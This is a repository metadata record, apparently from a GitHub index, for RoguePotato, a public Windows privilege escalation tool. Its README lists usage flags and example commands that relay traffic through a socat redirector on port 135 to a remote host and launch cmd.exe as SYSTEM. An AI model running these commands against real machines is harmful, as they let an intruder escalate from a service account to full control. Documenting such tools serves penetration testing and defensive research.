{"id":15130524,"url":"https://github.com/antoniococo/roguepotato","last_synced_at":"2025-04-13T07:46:56.265Z","repository":{"id":37568247,"uuid":"262841542","full_name":"antonioCoco/RoguePotato","owner":"antonioCoco","description":"Another Windows Local Privilege Escalation from Service Account to System","archived":false,"fork":false,"pushed_at":"2021-01-09T20:43:07.000Z","size":187,"stargazers_count":1074,"open_issues_count":1,"forks_count":129,"subscribers_count":18,"default_branch":"master","last_synced_at":"2025-04-13T07:46:48.452Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/antonioCoco.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-05-10T17:38:28.000Z","updated_at":"2025-04-12T06:40:23.000Z","dependencies_parsed_at":"2022-08-08T21:00:15.257Z","dependency_job_id":null,"html_url":"https://github.com/antonioCoco/RoguePotato","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antonioCoco%2FRoguePotato","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antonioCoco%2FRoguePotato/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antonioCoco%2FRoguePotato/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/antonioCoco%2FRoguePotato/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/antonioCoco","download_url":"https://codeload.github.com/antonioCoco/RoguePotato/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248681472,"owners_count":21144699,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-09-26T03:01:16.247Z","updated_at":"2025-04-13T07:46:56.224Z","avatar_url":"https://github.com/antonioCoco.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RoguePotato\n\nJust another Windows Local Privilege Escalation from Service Account to System. Full details at --\u003e https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/\n\n## Usage\n\n``` \n\n        RoguePotato\n        @splinter_code \u0026 @decoder_it\n\n\nMandatory args:\n-r remote_ip: ip of the remote machine to use as redirector\n-e commandline: commandline of the program to launch\n\n\nOptional args:\n-l listening_port: This will run the RogueOxidResolver locally on the specified port\n-c {clsid}: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n-p pipename_placeholder: placeholder to be used in the pipe name creation (default: RoguePotato)\n-z : this flag will randomize the pipename_placeholder (don't use with -p)\n\n\nExamples:\n - Network redirector / port forwarder to run on your remote machine, must use port 135 as src port\n        socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999\n - RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. Use this if you have fw restrictions.\n        RoguePotato.exe -r 10.0.0.3 -e \"C:\\windows\\system32\\cmd.exe\"\n - RoguePotato all in one with RogueOxidResolver running locally on port 9999\n        RoguePotato.exe -r 10.0.0.3 -e \"C:\\windows\\system32\\cmd.exe\" -l 9999\n - RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename\n        RoguePotato.exe -r 10.0.0.3 -e \"C:\\windows\\system32\\cmd.exe\" -l 9999 -c \"{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}\" -p splintercode\n        \n```  \n\n## Demo\n\n![demo](demo.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantoniococo%2Froguepotato","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fantoniococo%2Froguepotato","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantoniococo%2Froguepotato/lists"}